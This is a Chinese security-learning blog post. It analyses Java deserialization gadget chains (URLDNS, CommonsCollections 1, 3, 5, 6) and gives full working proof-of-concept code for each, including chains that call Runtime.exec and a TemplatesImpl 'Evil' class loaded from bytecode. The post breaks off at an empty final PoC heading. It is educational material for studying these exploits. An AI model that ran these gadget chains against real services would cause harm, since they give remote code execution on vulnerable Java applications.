Java反序列化漏洞学习 Commons Collection

lsf 2021-11-24 10:00:00

0x00 背景

笔者是一个刚入门Java安全的萌新,一个月前跟着P神的Java安全漫谈开始学习Java反序列化漏洞。笔者学习的方法是看完文章然后拷贝代码下来idea跟着调一遍,每次调完后会感觉自己已经完全掌握了这条利用链,但是在之后一段时间重新看这条链时会发现完全搞不懂,就这样折腾了几天。写这篇文章的目的是帮助更多和我一样的萌新开始真正的利用链分析,而不是拷贝代码下来跟着调就行了,我会以构造利用链的角度,每一步会有一个小demo演示如何构造这一部分的代码,希望能帮到更多和我一样不知道怎么入门的萌新。如文章有什么错误欢迎大佬指出,也欢迎各位读者加联系方式一起讨论。

虽说这篇文章我是面向萌新写的但是在了解Java反序列化漏洞之前还需要一些Java代码的基础,如Java反射、Java类加载机制、和Java的序列化和反序列化流程,这些我不会在文章中设计,希望读者在阅读这篇文章前先自行学习这些基础知识,我也会在文末给出一些推荐文章。

0x01 环境搭建

在学习Commons Collection利用链之前我们需要先搭建好调试环境,第一步就是安装JDK和maven了这里我推荐多安装多几个版本的JDK,因为有的利用会有版本的限制,我们在分析这些利用链是需要切换指定的JDK。安装好JDK和maven后需要配置好idea的环境,然后需要克隆ysoserial的源码下来,之后的调试我们会在ysoserial的项目中进行,因为ysoserial中配好了我们所需要的库环境,我们只需要利用maven将各种包导入即可。最后就是在项目中创建好我们的测试文件夹。

5.png

0x02 URLDNS

可能有的读者会疑惑我标题不是写的Commons Collection利用链吗,为什么这里会讲到URLDNS这条利用链,因为我认为这条利用链足够简单可以让初学者弄明白Java反序列化漏洞利用的流程。

先来看一下调用链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

我们先来看一下最后一条URL.hashcode是如何触发dns请求的,URL.hashCode调用了成员变量handler的hashCode方法,handler是一个URLStreamHandler类型的对象且被transient修饰在writeObject中没有添加其他的特殊处理所以handler是不会写入序列化数据的。

1.png

然后看到handler在readObject中是根据protocol来获取的。跟踪获取handler的过程可以发现http协议获取的是sun.net.www.protocol.http.Handler然后看到里面没hashCode直接来看父类URLStreamHandler的hashCode

2.png
URLStreamHandler的hashCode将URL传入了getHostAddress,接着跟入getHostAddress。

3.png
获取了host然后调用InetAddress.getByName将host传入InetAddress.getByName。InetAddress.getByName用于在给定主机名的情况下确定主机的IP地址,所以会对我们传入的host进行一次dns请求。

6.png

尝试手动调用URL.hashCode触发dns请求

7.png

8.png

之后就是寻找readObject方法中调用了hashCode的类,也就是我们上面的HashMap。来看一下HashMap的readObject方法。可以看到HashMap的readObject方法循环从流中读出key和value然后调用putVal将值传入map中,同时还调用了hash方法对key取hash值,hash方法调用了key的hashCode的,只要将key设置成URL对象即可在readObject中帮我们自动调用URL的hashCode方法。

9.png

根据上面的分析构造利用链

10.png

但是在跟踪反序列化的过程中会发现URL的hashCode方法走不到handler.hashCode,因为在我们hashMap.put(url,"lsf");时也会调用hash方法对url计算hash,之后将计算的hash设置给hashCode成员变量。当反序列调用hashCode时发现hashCode已经被赋值就不会重新计算hash了。

11.png

我们需要利用反射将hashCode设置回-1,这样反序列化过程中才会中接下了handler.hashCode。

package test;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL(null,"http://ymg2bu.dnslog.cn",new sun.net.www.protocol.http.Handler());
        hashMap.put(url,"lsf");

        Field field = URL.class.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,-1);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

0x03 Commons Collections1

相信在学习了之前的URLDNS利用链后读者对Java反序列化漏洞有了一些认识,接下来这章就开始真正的Commons Collections利用链的分析,Apache Commons Collections是Java中经常用到的包,Commons Collection提供了更加丰富的数据结构,许多大型的Java应用都使用了这个包,包括Weblogic、JBoss、WebSphere。cc链指的的就是Commons Collection这个包的反序列化利用链。

transformer

transformer是commons-collections包的一个接口,有一个transform方法

cc11.png

ConstantTransformer

ConstantTransformer是实现了transformer接口的一个类,构造方法传入一个对象然后transform方法返回对象。

cc12.png

InvokerTransformer

InvokerTransformer是实现了Transformer接口的一个类,InvokerTransformer构造方法传入3个变量,分别是String类型的方法名,一个Clas类型的参数类型列表,还有一个Object类型的参数值列表。

cc13.png

传入一个对象,利用反射调用对象的方法。首先通过getClass获取对象的类,然后通过getMethod拿到类指定方法名和参数类型的方法,最后method.invoke传入对象和参数执行对象的方法。

cc14.png

通过分析这个类的transform方法可以调用任意方法,这是反序列化能执行任意代码的关键。我写一个简单的例子利用InvokerTransformer执行命令。通过InvokerTransformer执行了Runtime对象的exec方法,传入参数"calc"执行系统命令,弹出计算器。

cc15.png

ChainedTransformer

反序列化中可以利用InvokerTransformer执行任意对象的任意方法,但在反序列化中我们不能直接传入Runtime对象,因为Runtime类没有实现Serializable接口不能被序列化,如果可以多次调用方法,可以使用Runtime类的getRuntime方法获取Runtime实例。

ChainedTransformer也是实现了Transformer接口的一个类,构造方法传入一个transformer数组。

cc16.png

transform方法遍历执行所有transformer数组的transform方法,且前一个的结果做为后一个的输入,我们可以传入多个InvokerTransformer对象,可以执行多次任意方法。

cc17.png

利用ChainedTransformer改进InvokerTransformer执行命令。使用getMethod方法获得Runtime类的getRumtime方法,之后通过调用Method的invoke方法执行getRumtime获取Runtime实例,最后调用Runtime的exec方法执行系统命令。

cc112.png

import com.nqzero.permit.Safer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.python.antlr.ast.Str;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;


public class InvokerTransformerDemo {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Transformer[] transformer = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformer);
        ct.transform(new Object());
    }
}

TransformedMap

有了执行命令的链我们要看一下有没有什么方法可以自动调用类的transform方法,找到一个TransformedMap类。

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。构造方法为protected类型,创建对象需要使用decorate方法创建对象。decorate传入一个Map和两个transformer对象,用于将一个普通的Map对象修饰成TransformedMap对象。

cc18.png

TransformedMap分别有3个方法调用了transform。

cc19.png

cc110.png

没看到有地方会直接调用transformKey和transformValue,但是查看注释可以发现当调用setValue时会自动调用checkSetValue方法,但是在TransformedMap中没有方向有setValue方法,查看TransformedMap的父类(AbstractInputCheckedMapDecorator)发现setValue方法。

cc111.png

this.parent就是TransformedMap,AbstractInputCheckedMapDecorator的根父类就是 Map,所以只要找到readObject中调用了Map.setValue即可完成反序列化利用链。

AnnotationInvocationHandler

可以看到AnnotationInvocationHandler的readObject方法调用了setValue方法,我们只需要让他反序列化满足上面的条件进入到setValue即可。

cc113.png

先来看一下到达setValue的条件,先来看一下构造函数。

cc114.png

可以看到第一个参数指定var1必须是Annotation的子类,第二个参数是传入一个Map类型的var2。将var1赋值给成员变量type然后将var赋值给成员变量memberValues。然后看readObject要触发setValue的条件。看到这条语句AnnotationType.getInstance(this.type),var0为我们构造函数传入的vaar0。

cc115.png

接着跟到AnonotationType的构造函数,传入的参数依然是AnnotationInvocationHandler的var0,通过getDeclareMethods获取Annotation对象的所有方法,然后遍历数组获取方法名字赋值给var7,方法返回类型赋值给var8。然后将方法名和方法返回类型put到memberTypes成员变量中。

cc116.png

然后回到AnnotationInvocationHandler的readObject方法中,var3为刚刚设置的memberTypes成员变量,var4为构造函数传入的map,遍历我们传入的map的key,然后在memberTypes里面取,如果存在就可以进入setValue的流程。(注意这里的memberTypes为构造方法传入的Annotation对象的方法名字和返回方法组成的map,menberValues为我们构造函数传入的map)

cc117.png

总结一下进入setValues的条件就是:

1.AnnotationInvocationHandler构造函数的第个参数必须是Annotation的
2.被TransformerMap.decorate修饰的Map中必须有个键名为个参数对象的一个方法名

Retention

Retention为Annotation的一个子类且有一个value的方法。

cc118.png

那么我们只要AnnotationInvocationHandler第一个参数传入Retention,然后Map加入一个value为键的entry即可。

构造poc

1.构造恶意的Transformer

cc119.png

2.构造transformedMap

cc120.png

3.构造AnnotationInvocationHandler,因为AnnotationInvocationHandler的构造方法没有写限定符默认为default,只能同个包内访问,所以需要利用反射获取构造方法。

cc121.png

4.完整的代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class InvokerTransformerDemo {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformer = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformer);

        Map innermap = new HashMap();
        innermap.put("value","lsf");
        Map outermap =TransformedMap.decorate(innermap,null,ct);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outermap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }
}

调用链

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

--------------------------------------------------------------------------------------------------------------------------------

看过ysoserial中的Commons Collection1的读者可能会发现在ysoserial中并没有用到我上面的TransformedMap而是用到了LazyMap。我们来分析一些ysoserial中的Commons Collection1利用链。我先给出调用链来对比一下和TransformedMap的cc1的区别。

调用链

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

可以发现最后触发的ChainedTransformer和TransformedMap的一样,直接来看LazyMap#get,可以看到LazyMap的factory成员变量调用了transform方法,然后看一下factory是一个Transformer的常量。

cc1l-1.png

cc1l-2.png

看一下构造方法,构造方法传入一个一个Map和一个Transformer,LazyMap的构造方法也是和TranformedMap一样是一个protected修饰的需要通过调用decorate方法构造LazyMap对象。

cc1l-4.png

先来构造一个LazyMap手动触发他的get方法执行命令。构造LazyMap时要传入一个Map所以我们在构造LazyMap前要先构造一个Map我这里用到了HashMap。

cc1l-5.png

在反序列时程序不会自动嗲用get方法,我们要找一个会帮我们调用get的地方。看到我们熟悉的AnnotationInvocationHandler的invoke方法中。调用了memberValue成员变量的put的方法,而memberValue是我们构造方法中传入的一个Map对象。

cc1l-3.png

ysoserial里面是直接使用了Java的动态代理来调用了Invoke方法。代理用到java.lang.reflect.Proxy类,通过nweProxyInstance创建代理对象,传入3个参数,第一个参数是一个ClassLoader,第二个参数是一个代理对象的集合,第三个参数是一个实现了InvocationHandler接口的对象。proxyMap是一个Map类型的代理对象,当调用代理对象的任意方法时会先进入到实现了InvocationHandler接口的对象的invoke方法,相当于劫持了一个函数的流程,可以在函数执行之前进进行一些操作。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

我这里写了一个实现了InvocationHandler的类,然后使用代理来劫持一个Map类型的对象的函数执行流程,不管调用什么函数我们都给他返回一个Object字符串。

cc1l-6.png

cc1l-7.png

回头看我们的AnnotationInvocationHandler也实现了InvocationHandler接口,那么当我们只要构造好AnnotationInvocationHandler生成一个代理对象,然后将构造好的AnnotationInvocationHandler放入代理中,当调用代理对象的任意方法时就会进去我们构造好的AnnotationInvocationHandler对象的invoke方法接着触发我们LazyMap的get方法,然后调用我们恶意的ChainedTranformer的transform方法。我这里手动调用了proxyMap的方法,但是在反序列化中我们还要找一出会自动调用proxMap方法的readObject。

cc1l-8.png

cc1l-9.png

还是我们的AnnotationInvocationHandler在readObject时候调用了构造方法传入的Map的entrySet。

cc1l-10.png

那么整条链就完整了我们来构造一下。

构造poc

1.构造恶意的ChainedTransformer和LazyMap

cc1l-11.png

2.构造proxyMap,因为我们这里是利用了AnnotationInvocationHandler的invoke方法和之前要到readObject的setValue方法不一样,不需要特定的annotation子类,所以我这里直接用了Override(用啥都行)。

cc1l-12.png

3.然后我们将proxyMap再用AnnotationInvocationHandler包装一次

cc1l-13.png

完整的poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;


public class InvokerTransformerDemo {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        //构造恶意的ChainedTransformer
        Transformer[] transformer = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
          new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
          new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformer);

        //构造LazyMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,ct);

        //构造ProxyMap
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
        proxyMap.clear();

        //将proxyMap用AnnotationInvocationHandler再包装一层
        handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        System.out.println(ois);
        Object o = (Object) ois.readObject();
    }
}

0x04 CommonsCollections3

之前的cc链我们是用了ChainedTransformer的transform方法,利用反射将多个Invoketranfoemer来进行的执行命令。在反序列化漏洞利用链出来不久后,就出现了类似SerialKiller这样的反序列化过滤工具,InvokeTransformer就在的的过滤黑名单的。为了与之对抗ysoserial之后就出来不少新的gadget,其中就包括cc3

TemplatesImpl

cc3是通过直接加载字节码来实现的命令执行,其中就用到了TemplatesImpl。在了解TempatesImp之前先来了解一下Java的类加载过程,Java加载类先是调用loadClass在类缓存、父类等位置寻找类(也就是Java类加载的双亲委派机制),但在loadClass时没找到类时会调用findClass方法。findClass的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass。defineClass的作用就是将之前传入的字节码处理成class。

cc3-1.png

接着来看到TemplatesImpl,在TemplatesImpl类里面定义了一个内部类TransletClassLoader继承自ClassLoader,在TransletClassLoader这个内部类中重写了defineClass方法,可以看到这个方法并没有加限定符,也就是说defineClass由原本ClassLoader中的protect变成了default类型,可以被类外部调用。然后看一下TemplatesImpl哪里调用了TransletClassLoader#defineClass。然后找到了这样一条利用链。

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

cc3-3.png

接着我尝试利用TemplatesImpl执行命令,可以看到在到defineclass之前他还调用了_tfactory成员变量的getExternalExtensionsMap方法,在我们构造时要注意一下_tfactory成员变量的赋值。如果不赋值的话运行到这_tfactory没有这个方法会报错结束。这里可以直接使用TransformerFactoryImpl类。同时还要设置_name和_bytecodes,不设置_name会在构造方法报错,而_bytecodes是我们要加载类的字节码作为参数传入defineclass中。注意加载的恶意类需要为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。我这里写一个简单的演示利用。

cc3-5.png

cc3-4.png

package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;

public class TemplatesImpltest {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","test");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get("evil.Evil").toBytecode()});
        templates.newTransformer();
    }

    public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

现在只要找到反序列化可以执行我们的newTransformer即可,可以利用之前的InvokeTransformer但我们cc3是用来绕过InvokeTransformer的黑名单的。 ysoserial中使用到了TrAXFilter类。我们看一下TrAXFilter的构造方法。在TrAXFilter的构造方法中直接执行了我们传入的templates的newTransformer方法。

cc3-6.png

那怎么在反序列化时候调用TrAXFilter的构造方法呢。看到InstantiateTransformer#transform通过反射获得类的构造方法然后调用newInstance调用构造方法。

cc3-7.png

那么后面就和cc1一样了,通过LazyMap调用我们ChainedTransform的transform方法。我就不多赘述了。

构造poc

1.构造TemplatesImpl

cc3-8.png

2.构造ChainedTransformer,我这里为了不在序列化过程中触发利用链

cc3-9.png

3.构造InvocationHandler,我这里为了不让序列化过程中执行命令先是使用了一个无害的transformer,在序列化之前利用反射将真正的ChainedTransformer设置进去。o'o

cc3-10.png

完整的poc代码

package test;

import clojure.lang.Obj;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void setFieldValue(Object obj, String fieldName, Object
        value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
            ClassPool.getDefault().get(evil.Evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer(0));

        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler it = (InvocationHandler) constructor.newInstance(Override.class,outerMap);
        Map prxoMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},it);

        it = (InvocationHandler) constructor.newInstance(Override.class,prxoMap);
        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(outerMap,chainedTransformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(it);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

0x05 CommonsCollections5

cc5和cc1差不多就是在调用map.get方式不同

先来看一下TiedMapEntry,TiedMapEntry中的toString方法调用了getValue方法然后再getValue中调用了map.get方法。而在TiedMapEntry的构造方法传入了map赋值给map成员变量,也就是说只要将map设置成我们的LazyMap当我们调用TiedMapEntry#toString的时候即可自动调用我们的LazyMap.get

cc5-1.png

cc5-2.png

然后寻找哪里的readObject会调用到toString方法,找到BadAttributeValueExpException类的readObject方法调用了val成员变量的toString方法,但是在BadAttributeValueExpException的构造方法中会调用toString方法直接触发了利用链所以我们需要利用反射方式设置val的值。

cc5-3.png

构造poc

1.构造ChainedTransformer,当然这里也可以使用cc3的templatesImpl

cc5-4.png

2.构造TiedMapEntry将TiedMapEntryt设置进去BadAttributeValueExpException的val成员变量

cc5-5.png

完整poc

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws NoSuchMethodException, IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

        Map hashMap = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap,chainedTransformer);
        //TiedMapEntry传入LazyMap
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"lsf");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        //反射设置val值为TiedMapEntry实例
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(badAttributeValueExpException);

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

调用链

    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

0x06 CommonsCollections6

cc1的链在高版本Java因为官方修改了AnnotationInvocationHandler的readObject方法,导致cc1无法在高版本的使用,为了解决高版本中cc链的使用,而cc6的出现就是为了解决高版本利用的问题

在高版本环境下AnnotationInvocationHandler不能用来触发LazyMap的get方法,我们只能寻找其他类调用了LazyMap.get。找到了一个TiedMapEntry。看到TiedMapEntry的getValue方法,调用了成员变量map的get的方法.然后看一下构造函数,传入两个参数,第一个参数是map赋值给成员变量map,map可控的话我们只要将map赋值为我们的LazyMap对象即可。

cc6-1.png

cc6-3.png

然后看哪里调用了getValue方法,看到了也是TiedMapEntry类中的hashCode方法。也就是我们只要调用了TiedMapEntry的hashCode即可。继续找调用了hashcode的地方。

cc6-2.png

看到HashMap的put方法调用了hash对传入的key进行处理,然后看到hash方法调用了key的hashCode方法。那么现在只要找到哪里调用了map的put方法即可。

cc6-4.png

cc6-5.png

最后看到HashSet的readObject方法,HashSet的readObject方法调用了map成员变量的put方法。

cc6-6.png

细心的同学可能会发现HashSet的map成员变量是被transient修饰的那readObject的循环来读取一个Object那map是怎么写入的呢,我们可以看一下HashSet的writeObject方法。可以看到他是遍历了map的所有键值对然后调用writeObject写入。那么我们只要控制map中的键值对有一个键为我们的TideMap即可。

cc6-8.png

构造poc

1.构造ChainedTransformer和LazyMap

cc6-9.png

2.构造TiedMapEntry

cc6-10.png

3.当我们调用hashSet.add时会触发一次利用链,这时候会先LazyMap值,当我们反序列化时发现值存在就不会进行transform方法了。所以在调用后我们要手动清空LazyMap,同时将我们的恶意ChainedTransform设置回来。

cc6-19.png

cc6-20.png

完整POC

package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformer);

        Map innermap = new HashMap();
        Map lazymap = LazyMap.decorate(innermap,new ConstantTransformer(0));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"lsf");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);

        lazymap.clear();
        Field field = LazyMap.class.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazymap,ct);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

利用链

java.io.ObjectInputStream.readObject()
       java.util.HashSet.readObject()
           java.util.HashMap.put()
           java.util.HashMap.hash()
               org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
               org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                   org.apache.commons.collections.map.LazyMap.get()
                       org.apache.commons.collections.functors.ChainedTransformer.transform()
                       org.apache.commons.collections.functors.InvokerTransformer.transform()
                       java.lang.reflect.Method.invoke()
                           java.lang.Runtime.exec()

p神版本cc6

ysoserial中利用了HashSet#readObject方法调用到HashMap的put方法然后调用hash方法最后就调用到了TiedMapEntry的hashcode的方法。而在HashMap的readObject中有直接调用到hash方法,直接跳过了前面的两个步骤。只要将key设置成TiedMap即可。

cc6-12.png

构造POC

